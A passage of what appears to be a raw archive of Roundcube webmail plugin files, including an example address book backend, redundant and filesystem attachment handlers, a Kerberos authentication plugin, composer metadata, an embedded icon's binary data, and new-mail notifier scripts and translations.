        $config  = rcmail::get_instance()->config;
        $sources = (array) $config->get('autocomplete_addressbooks', ['sql']);
        if (!in_array($this->abook_id, $sources)) {
            $sources[] = $this->abook_id;
            $config->set('autocomplete_addressbooks', $sources);
        }
    }

    public function address_sources($p)
    {
        $abook = new example_addressbook_backend($this->abook_name);

        $p['sources'][$this->abook_id] = [
            'id'       => $this->abook_id,
            'name'     => $this->abook_name,
            'readonly' => $abook->readonly,
            'groups'   => $abook->groups,
        ];

        return $p;
    }

    public function get_address_book($p)
    {
        if ($p['id'] === $this->abook_id) {
            $p['instance'] = new example_addressbook_backend($this->abook_name);
        }

        return $p;
    }
}
PKh�\?V*|��;plugins/example_addressbook/example_addressbook_backend.phpnu�[���<?php

/**
 * Example backend class for a custom address book
 *
 * This one just holds a static list of address records
 *
 * @author Thomas Bruederli
 */
class example_addressbook_backend extends rcube_addressbook
{
    public $primary_key = 'ID';
    public $readonly    = true;
    public $groups      = true;

    private $filter;
    private $result;
    private $name;

    private $db_groups = [
        [
            'ID'   => 'testgroup1',
            'name' => "Testgroup"
        ],
        [
            'ID'   => 'testgroup2',
            'name' => "Sample Group"
        ],
    ];

    private $db_users = [
        [
            'ID'        => '111',
            'name'      => "John Doe",
            'firstname' => "John",
            'surname'   => "Doe",
            'email'     => "example1@roundcube.net",
            'groups'    => ['testgroup1']
        ],
        [
            'ID'        => '112',
            'name'      => "Jane Example",
            'firstname' => "Jane",
            'surname'   => "Example",
            'email'     => "example2@roundcube.net",
            'groups'    => ['testgroup2']
        ]
    ];

    public function __construct($name)
    {
        $this->ready = true;
        $this->name = $name;
    }

    /**
     * Get group properties such as name and email address(es)
     *
     * @param string $group_id Group identifier
     *
     * @return ?array Group properties as hash array, null in case of error.
     */
    function get_group($group_id)
    {
        foreach ($this->db_groups as $group) {
            if ($group['ID'] == $group_id) {
                return $group;
            }
        }
    }

    public function get_name()
    {
        return $this->name;
    }

    public function set_search_set($filter)
    {
        $this->filter = $filter;
    }

    public function get_search_set()
    {
        return $this->filter;
    }

    public function reset()
    {
        $this->result = null;
        $this->filter = null;
    }

    function list_groups($search = null, $mode = 0)
    {
        if (is_string($search) && strlen($search)) {
            $result = [];

            foreach ($this->db_groups as $group) {
                if (stripos($group['name'], $search) !== false) {
                    $result[] = $group;
                }
            }

            return $result;
        }

        return $this->db_groups;
    }

    public function list_records($cols = null, $subset = 0, $nocount = false)
    {
        // Note: Paging is not implemented

        return $this->result = $this->count();
    }

    public function search($fields, $value, $strict = false, $select = true, $nocount = false, $required = [])
    {
        // Note: we do not implement all possible search request modes and variants.
        //       We implement only the simplest searching case in "select" mode

        $result = new rcube_result_set();
        foreach ($this->list_records() as $record) {
            if (is_string($value)) {
                $found = false;

                foreach ($record as $key => $data) {
                    $data = is_array($data) ? implode(' ', $data) : (string) $data;
                    if (strpos(mb_strtolower($data), mb_strtolower($value)) !== false) {
                        $found = true;
                        break;
                    }
                }

                if ($found) {
                    $result->add($record);
                }
            }
        }

        return $result;
    }

    public function count()
    {
        // Note: Paging is not implemented

        $result = new rcube_result_set(0, ($this->list_page-1) * $this->page_size);
        $count  = 0;

        foreach ($this->db_users as $user) {
            if ($this->group_id && (empty($user['groups']) || !in_array($this->group_id, $user['groups']))) {
                continue;
            }

            // TODO: This should consider current search filter

            $result->add($user);
            $count++;
        }

        $result->count = $count;

        return $result;
    }

    public function get_result()
    {
        return $this->result;
    }

    public function get_record($id, $assoc = false)
    {
        $result = new rcube_result_set(0);

        foreach ($this->db_users as $user) {
            if ($user['ID'] == $id) {
                if ($assoc) {
                    return $user;
                }

                $result->add($user);
                $result->count = 1;
            }
        }

        return $result;
    }

    /**
     * Get group assignments of a specific contact record
     *
     * @param mixed $id Record identifier
     *
     * @return array List of assigned groups, indexed by group ID
     */
    function get_record_groups($id)
    {
        $result = [];

        foreach ($this->db_users as $user) {
            if ($user['ID'] == $id) {
                foreach ($this->db_groups as $group) {
                    if (!empty($user['groups']) && in_array($group['ID'], $user['groups'])) {
                        $result[$group['ID']] = $group['name'];
                    }
                }
            }
        }

        return $result;
    }

    /**
     * Setter for the current group
     */
    function set_group($gid)
    {
        $this->group_id = $gid;
    }

    function create_group($name)
    {
        $result = false;

        return $result;
    }

    function delete_group($gid)
    {
        return false;
    }

    function rename_group($gid, $newname, &$newid)
    {
        return $newname;
    }

    function add_to_group($group_id, $ids)
    {
        return false;
    }

    function remove_from_group($group_id, $ids)
    {
        return false;
    }
}
PKh�\&���ll)plugins/example_addressbook/composer.jsonnu�[���{
    "name": "roundcube/example_addressbook",
    "type": "roundcube-plugin",
    "description": "Sample plugin to add a new address book with just a static list of contacts",
    "license": "GPL-3.0-or-later",
    "version": "1.0",
    "authors": [
        {
            "name": "Thomas Bruederli",
            "email": "roundcube@gmail.com",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\�o��+plugins/redundant_attachments/composer.jsonnu�[���{
    "name": "roundcube/redundant_attachments",
    "type": "roundcube-plugin",
    "description": "This plugin provides a redundant storage for temporary uploaded attachment files. They are stored in both the database backend as well as on the local file system. It provides also memcache store as a fallback.",
    "license": "GPL-3.0-or-later",
    "version": "1.2",
    "authors": [
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        },
        {
            "name": "Thomas Bruederli",
            "email": "roundcube@gmail.com",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3",
        "roundcube/filesystem_attachments": ">=1.0.0"
    }
}
PKh�\�0���1plugins/redundant_attachments/config.inc.php.distnu�[���<?php

// By default this plugin stores attachments in filesystem and copies them into sql database.
// In environments with replicated database it is possible to use memcache or redis
// as a fallback when write-master is unavailable.
// -------------------------------------------------------------------------------------
// WARNING: Remember to also set memcache_max_allowed_packet or redis_max_allowed_packet
//          in config to match with expected maximum attachment size.
// -------------------------------------------------------------------------------------
// This option can be set to 'memcache', 'memcached' or 'redis'.
// Don't forget to set redis_*/memcache_* options in Roundcube config file.
$config['redundant_attachments_fallback'] = false;

// Attachment data expires after specified TTL time in seconds (max.2592000).
// Default is 12 hours.
$config['redundant_attachments_cache_ttl'] = 12 * 60 * 60;
PKh�\
��(��7plugins/redundant_attachments/redundant_attachments.phpnu�[���<?php

/**
 * Redundant attachments
 *
 * This plugin provides a redundant storage for temporary uploaded
 * attachment files. They are stored in both the database backend
 * as well as on the local file system.
 *
 * It provides also memcache/redis store as a fallback (see config file).
 *
 * This plugin relies on the core filesystem_attachments plugin
 * and combines it with the functionality of the database_attachments plugin.
 *
 * @author Thomas Bruederli <roundcube@gmail.com>
 * @author Aleksander Machniak <machniak@kolabsys.com>
 *
 * Copyright (C) The Roundcube Dev Team
 * Copyright (C) Kolab Systems AG
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License version 2
 * as published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 */

require_once(RCUBE_PLUGINS_DIR . 'filesystem_attachments/filesystem_attachments.php');

class redundant_attachments extends filesystem_attachments
{
    // A prefix for the cache key used in the session and in the key field of the cache table
    const PREFIX = "ATTACH";

    // rcube_cache instance for SQL DB
    private $cache;

    // rcube_cache instance for memcache/redis
    private $mem_cache;

    private $loaded;


    /**
     * Loads plugin configuration and initializes cache object(s)
     */
    private function _load_drivers()
    {
        if ($this->loaded) {
            return;
        }

        $rcmail = rcube::get_instance();

        // load configuration
        $this->load_config();

        $ttl      = 12 * 60 * 60; // 12 hours
        $ttl      = $rcmail->config->get('redundant_attachments_cache_ttl', $ttl);
        $fallback = $rcmail->config->get('redundant_attachments_fallback');
        $prefix   = self::PREFIX;

        if ($id = session_id()) {
            $prefix .= $id;
        }

        if ($fallback === null) {
            $fallback = $rcmail->config->get('redundant_attachments_memcache') ? 'memcache' : null; // BC
        }

        // Init SQL cache (disable cache data serialization)
        $this->cache = $rcmail->get_cache($prefix, 'db', $ttl, false, true);

        // Init memcache/redis (fallback) cache
        if ($fallback) {
            $this->mem_cache = $rcmail->get_cache($prefix, $fallback, $ttl, false, true);
        }

        $this->loaded = true;
    }

    /**
     * Helper method to generate a unique key for the given attachment file
     */
    private function _key($args)
    {
        $uname = !empty($args['path']) ? $args['path'] : $args['name'];

        return $args['group'] . md5(microtime() . $uname . $_SESSION['user_id']);
    }

    /**
     * Save a newly uploaded attachment
     */
    function upload($args)
    {
        $args = parent::upload($args);

        $this->_load_drivers();

        $key  = $this->_key($args);
        $data = base64_encode(file_get_contents($args['path']));

        $status = $this->cache->set($key, $data);

        if (!$status && $this->mem_cache) {
            $status = $this->mem_cache->set($key, $data);
        }

        if ($status) {
            $args['id'] = $key;
            $args['status'] = true;
        }

        return $args;
    }

    /**
     * Save an attachment from a non-upload source (draft or forward)
     */
    function save($args)
    {
        $args = parent::save($args);

        $this->_load_drivers();

        $data = !empty($args['path']) ? file_get_contents($args['path']) : $args['data'];

        $args['data'] = null;

        $key  = $this->_key($args);
        $data = base64_encode($data);

        $status = $this->cache->set($key, $data);

        if (!$status && $this->mem_cache) {
            $status = $this->mem_cache->set($key, $data);
        }

        if ($status) {
            $args['id'] = $key;
            $args['status'] = true;
        }

        return $args;
    }

    /**
     * Remove an attachment from storage
     * This is triggered by the remove attachment button on the compose screen
     */
    function remove($args)
    {
        parent::remove($args);

        $this->_load_drivers();

        $status = $this->cache->remove($args['id']);

        if (!$status && $this->mem_cache) {
            $status = $this->cache->remove($args['id']);
        }

        // we cannot trust the result of any of the methods above
        // assume true, attachments will be removed on cleanup
        $args['status'] = true;

        return $args;
    }

    /**
     * When composing an html message, image attachments may be shown
     * For this plugin, $this->get() will check the file and
     * return it's contents
     */
    function display($args)
    {
        return $this->get($args);
    }

    /**
     * When displaying or sending the attachment the file contents are fetched
     * using this method. This is also called by the attachment_display hook.
     */
    function get($args)
    {
        // attempt to get file from local file system
        $args = parent::get($args);

        if (!empty($args['path']) && ($args['status'] = file_exists($args['path']))) {
            return $args;
        }

        $this->_load_drivers();

        // fetch from database if not found on FS
        $data = $this->cache->get($args['id']);

        // fetch from memcache if not found on FS and DB
        if (($data === false || $data === null) && $this->mem_cache) {
            $data = $this->mem_cache->get($args['id']);
        }

        if ($data) {
            $args['data'] = base64_decode($data);
            $args['status'] = true;
        }

        return $args;
    }

    /**
     * Delete all temp files associated with this user
     */
    function cleanup($args)
    {
        $this->_load_drivers();

        $group = $args['group'] ?? null;

        if ($this->cache) {
            $this->cache->remove($group, true);
        }

        if ($this->mem_cache) {
            $this->mem_cache->remove($group, true);
        }

        parent::cleanup($args);

        $args['status'] = true;

        return $args;
    }
}
PKh�\n�V�==(plugins/krb_authentication/composer.jsonnu�[���{
    "name": "roundcube/krb_authentication",
    "type": "roundcube-plugin",
    "description": "Kerberos Authentication",
    "license": "GPL-3.0-or-later",
    "version": "1.2",
    "authors": [
        {
            "name": "Jeroen van Meeuwen",
            "email": "vanmeeuwen@kolabsys.com",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\��F�001plugins/krb_authentication/krb_authentication.phpnu�[���<?php

/**
 * Kerberos Authentication
 *
 * Make use of an existing Kerberos authentication and perform login
 * with the existing user credentials
 *
 * For other configuration options, see config.inc.php.dist!
 *
 * @license GNU GPLv3+
 * @author Jeroen van Meeuwen
 */
class krb_authentication extends rcube_plugin
{
    private $redirect_query;

    /**
     * Plugin initialization
     */
    function init()
    {
        $this->add_hook('startup', [$this, 'startup']);
        $this->add_hook('authenticate', [$this, 'authenticate']);
        $this->add_hook('login_after', [$this, 'login']);
        $this->add_hook('storage_connect', [$this, 'storage_connect']);
        $this->add_hook('managesieve_connect', [$this, 'managesieve_connect']);
        $this->add_hook('smtp_connect', [$this, 'smtp_connect']);
    }

    /**
     * Startup hook handler
     */
    function startup($args)
    {
        if (!empty($_SERVER['REMOTE_USER']) && !empty($_SERVER['KRB5CCNAME'])) {
            // handle login action
            if (empty($_SESSION['user_id'])) {
                $args['action']       = 'login';
                $this->redirect_query = $_SERVER['QUERY_STRING'];
            }
            else {
                $_SESSION['password'] = null;
            }
        }

        return $args;
    }

    /**
     * Authenticate hook handler
     */
    function authenticate($args)
    {
        if (!empty($_SERVER['REMOTE_USER']) && !empty($_SERVER['KRB5CCNAME'])) {
            // Load plugin's config file
            $this->load_config();

            $rcmail = rcmail::get_instance();
            $host   = $rcmail->config->get('krb_authentication_host');

            if (is_string($host) && trim($host) !== '' && empty($args['host'])) {
                $args['host'] = rcube_utils::idn_to_ascii(rcube_utils::parse_host($host));
            }

            if (!empty($_SERVER['REMOTE_USER'])) {
                $args['user'] = $_SERVER['REMOTE_USER'];
                $args['pass'] = null;
            }

            $args['cookiecheck'] = false;
            $args['valid']       = true;
        }

        return $args;
    }

    /**
     * login_after hook handler
     */
    function login($args)
    {
        // Redirect to the previous QUERY_STRING
        if ($this->redirect_query) {
            header('Location: ./?' . $this->redirect_query);
            exit;
        }

        return $args;
    }

    /**
     * Storage_connect hook handler
     */
    function storage_connect($args)
    {
        if (!empty($_SERVER['REMOTE_USER']) && !empty($_SERVER['KRB5CCNAME'])) {
            $args['gssapi_context'] = $this->gssapi_context('imap');
            $args['gssapi_cn']      = $_SERVER['KRB5CCNAME'];
            $args['auth_type']      = 'GSSAPI';
        }

        return $args;
    }

    /**
     * managesieve_connect hook handler
     */
    function managesieve_connect($args)
    {
        if (
            (!isset($args['auth_type']) || $args['auth_type'] == 'GSSAPI')
            && !empty($_SERVER['REMOTE_USER']) && !empty($_SERVER['KRB5CCNAME'])
        ) {
            $args['gssapi_context'] = $this->gssapi_context('sieve');
            $args['gssapi_cn']      = $_SERVER['KRB5CCNAME'];
            $args['auth_type']      = 'GSSAPI';
        }

        return $args;
    }

    /**
     * smtp_connect hook handler
     */
    function smtp_connect($args)
    {
        if (
            (!isset($args['smtp_auth_type']) || $args['smtp_auth_type'] == 'GSSAPI')
            && !empty($_SERVER['REMOTE_USER']) && !empty($_SERVER['KRB5CCNAME'])
        ) {
            $args['gssapi_context'] = $this->gssapi_context('smtp');
            $args['gssapi_cn']      = $_SERVER['KRB5CCNAME'];
            $args['smtp_auth_type'] = 'GSSAPI';
        }

        return $args;
    }

    /**
     * Returns configured GSSAPI context string
     */
    private function gssapi_context($protocol)
    {
        // Load plugin's config file
        $this->load_config();

        $rcmail  = rcmail::get_instance();
        $context = $rcmail->config->get('krb_authentication_context');

        if (is_array($context) && isset($context[$protocol])) {
             $context = $context[$protocol];
        }

        if (empty($context)) {
            rcube::raise_error("Empty GSSAPI context ($protocol).", true);
        }

        return $context;
    }
}
PKh�\SZ'�

.plugins/krb_authentication/config.inc.php.distnu�[���<?php

// Kerberos/GSSAPI Authentication Plugin options
// ---------------------------------------------

// Default mail host to log-in using user/password from HTTP Authentication.
// This is useful if the users are free to choose arbitrary mail hosts (or
// from a list), but have one host they usually want to log into.
// Unlike $config['imap_host'] this must be a string!
$config['krb_authentication_host'] = '';

// GSSAPI security context.
// Single value or an array with per-protocol values. Example:
//
//   $config['krb_authentication_context'] = [
//       'imap'  => 'imap/host.fqdn@REALM.NAME',
//       'smtp'  => 'smtp/host.fqdn@REALM.NAME',
//       'sieve' => 'sieve/host.fqdn@REALM.NAME',
//   ];
$config['krb_authentication_context'] = 'principal@REALM.NAME';
PKh�\���W��,plugins/filesystem_attachments/composer.jsonnu�[���{
    "name": "roundcube/filesystem_attachments",
    "type": "roundcube-plugin",
    "description": "This is a core plugin which provides basic, filesystem based attachment temporary file handling. This includes storing attachments of messages currently being composed, writing attachments to disk when drafts with attachments are re-opened and writing attachments to disk for inline display in current html compositions.",
    "license": "GPL-3.0-or-later",
    "version": "1.0",
    "authors": [
        {
            "name": "Thomas Bruederli",
            "email": "roundcube@gmail.com",
            "role": "Lead"
        },
        {
            "name": "Ziba Scott",
            "email": "ziba@umich.edu",
            "role": "Developer"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\p��1"1"9plugins/filesystem_attachments/filesystem_attachments.phpnu�[���<?php
/**
 * Filesystem Attachments
 *
 * This is a core plugin which provides basic, filesystem based
 * attachment temporary file handling.  This includes storing
 * attachments of messages currently being composed, writing attachments
 * to disk when drafts with attachments are re-opened and writing
 * attachments to disk for inline display in current html compositions.
 * It also handles uploaded files for other uses, so not only attachments.
 *
 * Developers may wish to extend this class when creating attachment
 * handler plugins:
 *   require_once('plugins/filesystem_attachments/filesystem_attachments.php');
 *   class myCustom_attachments extends filesystem_attachments
 *
 * Note for developers: It is plugin's responsibility to care about security.
 * So, e.g. if the plugin is asked about some file path it should check
 * if it's really the storage path of the plugin and not e.g. /etc/passwd.
 * It is done by setting 'status' flag on every plugin hook it uses.
 * Roundcube core will trust the returned path if status=true.
 *
 * @license GNU GPLv3+
 * @author Ziba Scott <ziba@umich.edu>
 * @author Thomas Bruederli <roundcube@gmail.com>
 */
class filesystem_attachments extends rcube_plugin
{
    public $task = '?(?!login).*';
    public $initialized = false;

    function init()
    {
        // Find filesystem_attachments-based plugins, we can use only one
        foreach ($this->api->loaded_plugins() as $plugin_name) {
            $plugin = $this->api->get_plugin($plugin_name);
            if (($plugin instanceof filesystem_attachments) && $plugin->initialized) {
                rcube::raise_error([
                        'file' => __FILE__, 'line' => __LINE__,
                        'message' => "Can use only one plugin for attachments/file uploads! Using '$plugin_name', ignoring others.",
                    ], true, false
                );
                return;
            }
        }

        $this->initialized = true;

        // Save a newly uploaded attachment
        $this->add_hook('attachment_upload', [$this, 'upload']);

        // Save an attachment from a non-upload source (draft or forward)
        $this->add_hook('attachment_save', [$this, 'save']);

        // Remove an attachment from storage
        $this->add_hook('attachment_delete', [$this, 'remove']);

        // When composing an html message, image attachments may be shown
        $this->add_hook('attachment_display', [$this, 'display']);

        // Get the attachment from storage and place it on disk to be sent
        $this->add_hook('attachment_get', [$this, 'get']);

        // Delete all temp files associated with this user
        $this->add_hook('attachments_cleanup', [$this, 'cleanup']);
        $this->add_hook('session_destroy', [$this, 'cleanup']);
    }

    /**
     * Save a newly uploaded attachment
     */
    function upload($args)
    {
        $args['status'] = false;
        $group = $args['group'];

        // use common temp dir for file uploads
        $tmpfname = rcube_utils::temp_filename('attmnt');

        if (move_uploaded_file($args['path'], $tmpfname) && file_exists($tmpfname)) {
            $args['id']     = $this->file_id();
            $args['path']   = $tmpfname;
            $args['status'] = true;
            @chmod($tmpfname, 0600);  // set correct permissions (#1488996)

            // Note the file for later cleanup
            $_SESSION['plugins']['filesystem_attachments'][$group][$args['id']] = $tmpfname;
        }

        return $args;
    }

    /**
     * Save an attachment from a non-upload source (draft or forward)
     */
    function save($args)
    {
        $group = $args['group'];
        $args['status'] = false;

        if (empty($args['path'])) {
            $tmp_path = rcube_utils::temp_filename('attmnt');

            if ($fp = fopen($tmp_path, 'w')) {
                fwrite($fp, $args['data']);
                fclose($fp);
                $args['path'] = $tmp_path;
            }
            else {
                return $args;
            }
        }

        $args['id']     = $this->file_id();
        $args['status'] = true;

        // Note the file for later cleanup
        $_SESSION['plugins']['filesystem_attachments'][$group][$args['id']] = $args['path'];

        return $args;
    }

    /**
     * Remove an attachment from storage
     * This is triggered by the remove attachment button on the compose screen
     */
    function remove($args)
    {
        $args['status'] = $this->verify_path($args['path']) && @unlink($args['path']);
        return $args;
    }

    /**
     * When composing an html message, image attachments may be shown
     * For this plugin, the file is already in place, just check for
     * the existence of the proper metadata
     */
    function display($args)
    {
        $args['status'] = $this->verify_path($args['path']) && file_exists($args['path']);
        return $args;
    }

    /**
     * This attachment plugin doesn't require any steps to put the file
     * on disk for use.  This stub function is kept here to make this 
     * class handy as a parent class for other plugins which may need it.
     */
    function get($args)
    {
        if (!$this->verify_path($args['path'])) {
            $args['path'] = null;
        }

        return $args;
    }

    /**
     * Delete all temp files associated with this user
     */
    function cleanup($args)
    {
        // $_SESSION['compose']['attachments'] is not a complete record of
        // temporary files because loading a draft or starting a forward copies
        // the file to disk, but does not make an entry in that array
        if (!empty($_SESSION['plugins']['filesystem_attachments'])) {
            foreach ($_SESSION['plugins']['filesystem_attachments'] as $group => $files) {
                if (!empty($args['group']) && $args['group'] != $group) {
                    continue;
                }

                foreach ((array) $files as $filename) {
                    if (file_exists($filename)) {
                        unlink($filename);
                    }
                }

                unset($_SESSION['plugins']['filesystem_attachments'][$group]);
            }
        }

        return $args;
    }

    protected static function file_id()
    {
        $userid = rcube::get_instance()->user->ID;
        list($usec, $sec) = explode(' ', microtime());
        $id = preg_replace('/[^0-9]/', '', $userid . $sec . $usec);

        // make sure the ID is really unique (#1489546)
        while (self::find_file_by_id($id)) {
            // increment last four characters
            $x  = substr($id, -4) + 1;
            $id = substr($id, 0, -4) . sprintf('%04d', ($x > 9999 ? $x - 9999 : $x));
        }

        return $id;
    }

    private static function find_file_by_id($id)
    {
        if (!empty($_SESSION['plugins']['filesystem_attachments'])) {
            foreach ((array) $_SESSION['plugins']['filesystem_attachments'] as $files) {
                if (isset($files[$id])) {
                    return true;
                }
            }
        }
    }

    /**
     * For security we'll always verify the file path stored in session,
     * as session entries can be faked in various ways e.g. #6026.
     * We allow only files in Roundcube temp dir
     */
    protected static function verify_path($path)
    {
        if (empty($path)) {
            return false;
        }

        $rcmail    = rcube::get_instance();
        $temp_dir  = $rcmail->config->get('temp_dir');
        $file_path = pathinfo($path, PATHINFO_DIRNAME);

        if ($temp_dir !== $file_path) {
            // When the configured directory is not writable, or out of open_basedir path
            // tempnam() fallbacks to system temp without a warning.
            // We allow that, but we'll let to know the user about the misconfiguration.
            if ($file_path == sys_get_temp_dir()) {
                rcube::raise_error([
                        'file'    => __FILE__,
                        'line'    => __LINE__,
                        'message' => "Detected 'temp_dir' change. "
                            . "Access to '$temp_dir' restricted by filesystem permissions or open_basedir",
                    ], true, false
                );

                return true;
            }

            rcube::raise_error([
                    'file'    => __FILE__,
                    'line'    => __LINE__,
                    'message' => sprintf("%s can't read %s (not in temp_dir)",
                        $rcmail->get_user_name(), substr($path, 0, 512))
                ], true, false
            );

            return false;
        }

        return true;
    }
}
PKh�\��t��!plugins/newmail_notifier/mail.pngnu�[����PNG


IHDR  szz�sRGB���bKGD�������	pHYs
�
�B(�xtIME�	k�pIDATX��[oE��ٓw֧�i�8��=�n�))�$�@��o����*�
%m�R�9�Q��nl�����N�n
\�'};�3���;�����_7�7e�?����$p���o5_z�\��|xn�/8��k��.� ��2Z��}Ͽ�X˃[������_~yg������a飏��ۗ��16+�� ��!��Π��/��ZLo
X��ۿ��d�u9[*:�nw��v:�O��?�1V�iŬ=^D�=0��Z��k4�h��[�m֪$Ψ�I}�-�W��V!ӒO���n��s���˓���ЎT�h��Z5�
�>�UIjPO��L��c��\nz�HR��AʅDG�F㺂Wޘ�<�5��
�,��Z
��H�j�ã>p_�s���e���HR�}�w�F `5X��9�:5�xX���<)?��^H_	=2�o��<??�=J1=�.~�;�ހ�p��'x��I���ZMs���2���A�ξ�}_�7���2M�\��J�r�fsH���o
��ת�.��z(�`:���Fw1�����XYxH������=��{X���؟/��I�`-��0yv��e��6խM��]Μ;$Sf�9���ﱶ���٤)Δg0�Q�S���6X�E��7r���<��:q}��W/#�8�;�Y{�d<���U��{,���@�6F�0����4��3y�u��i7[l��!���r�Ћ�}0����sg�����q\�X�����K�u�Q�g��ZE��6��u)�^!L�X����[�s���,�)�^A������푌Q���0�}�Y��G�V�Z?I:��M3w������*�1TW�Ӓ�i��al<�f%�^�!�	R��
7��oola�"ʄ���E�g��Q
����Beq�FF)���A�Ʉ�'ʄ�x���\��}`��.�V!�S�C}Aʥ8s�Pɷ��(Eq����Ne��n5���N�3��&n���U,�9<�=���(�N��QFR���G�<�%"Xv~�3��X���R
����Ǯ�0
)��<� ����4�5QJQ��26>vt
�M)�n5�/p������#8�R�g�:J��	T�jc�$�M���W:�&�kխ��	��q#F��Ӆ~<y�����iu���$�2�,~*x��T@&�M�~:T���~�~�(-	��0���N…�<��Di��o 3R��.�1��k���X.���:��#��¿�S���u��ǜ���z�IEND�B`�PKh�\&����&plugins/newmail_notifier/composer.jsonnu�[���{
    "name": "roundcube/newmail_notifier",
    "type": "roundcube-plugin",
    "description": "Supports three methods of notification: 1. Basic - focus browser window and change favicon 2. Sound - play wav file 3. Desktop - display desktop notification (using HTML5 Notification API feature).",
    "license": "GPL-3.0-or-later",
    "version": "0.8",
    "authors": [
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\x!�Y��0plugins/newmail_notifier/newmail_notifier.min.jsnu�[���/**
 * New Mail Notifier plugin script
 *
 * @author Aleksander Machniak <alec@alec.pl>
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
function newmail_notifier_run(i){i.basic&&newmail_notifier_basic(),i.sound&&newmail_notifier_sound(),i.desktop&&newmail_notifier_desktop(rcmail.get_label("body","newmail_notifier"))}function newmail_notifier_stop(i){!rcmail.env.favicon_href||!rcmail.env.favicon_changed||i&&"check-recent"==i.action||($('<link rel="shortcut icon" href="'+rcmail.env.favicon_href+'"/>').replaceAll('link[rel="shortcut icon"]'),rcmail.env.favicon_changed=0);try{window.external.msIsSiteMode()&&window.external.msSiteModeClearIconOverlay()}catch(i){}}function newmail_notifier_basic(){var i=rcmail.is_framed()?window.parent:window,e=rcmail.assets_path("plugins/newmail_notifier"),n=(i.focus(),$('<link rel="shortcut icon">').attr("href",e+"/favicon.ico")),i=$('link[rel="shortcut icon"]',i.document);rcmail.env.favicon_href||(rcmail.env.favicon_href=i.attr("href")),rcmail.env.favicon_changed=1,n.replaceAll(i);try{window.external.msIsSiteMode()&&window.external.msSiteModeSetIconOverlay(e+"/overlay.ico",rcmail.get_label("title","newmail_notifier"))}catch(i){}}function newmail_notifier_sound(){var i=rcmail.assets_path("plugins/newmail_notifier/sound");new Audio(i+".mp3").play().catch(function(){new Audio(i+".wav").play()})}function newmail_notifier_desktop(n,t){var a=rcmail.env.newmail_notifier_timeout||10,o=rcmail.assets_path("plugins/newmail_notifier/mail.png");try{return window.Notification.requestPermission(function(i){var e;"granted"==i?((e=new window.Notification(rcmail.get_label("title","newmail_notifier"),{dir:"auto",lang:"",body:n,tag:"newmail_notifier",icon:o})).onclick=function(){this.close()},setTimeout(function(){e.close()},1e3*a)):"denied"==i&&t&&t()}),!0}catch(i){return!1}}function newmail_notifier_test_desktop(){newmail_notifier_desktop(rcmail.get_label("testbody","newmail_notifier"),function(){rcmail.display_message(rcmail.get_label("desktopdisabled","newmail_notifier"),"error")})||rcmail.display_message(rcmail.get_label("desktopunsupported","newmail_notifier"),"error")}function newmail_notifier_test_basic(){newmail_notifier_basic()}function newmail_notifier_test_sound(){newmail_notifier_sound()}window.rcmail&&"mail"==rcmail.env.task&&rcmail.addEventListener("plugin.newmail_notifier",newmail_notifier_run).addEventListener("actionbefore",newmail_notifier_stop).addEventListener("init",function(){rcmail.message_list&&rcmail.message_list.addEventListener("select",newmail_notifier_stop)});
PKh�\�L��JJ/plugins/newmail_notifier/localization/zh_CN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = '在浏览器中显示新邮件提醒';
$labels['desktop'] = '在桌面显示新邮件提醒';
$labels['sound'] = '收到新邮件时播放声音';
$labels['test'] = '测试';
$labels['title'] = '您收到一封新邮件!';
$labels['body'] = '您收到一封新邮件。';
$labels['testbody'] = '这是一个提醒测试。';
$labels['desktopdisabled'] = '您的浏览器已禁止桌面提醒功能。';
$labels['desktopunsupported'] = '您的浏览器不支持桌面提醒功能。';
$labels['desktoptimeout'] = '关闭桌面通知';
PKh�\=qI�!!/plugins/newmail_notifier/localization/be_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

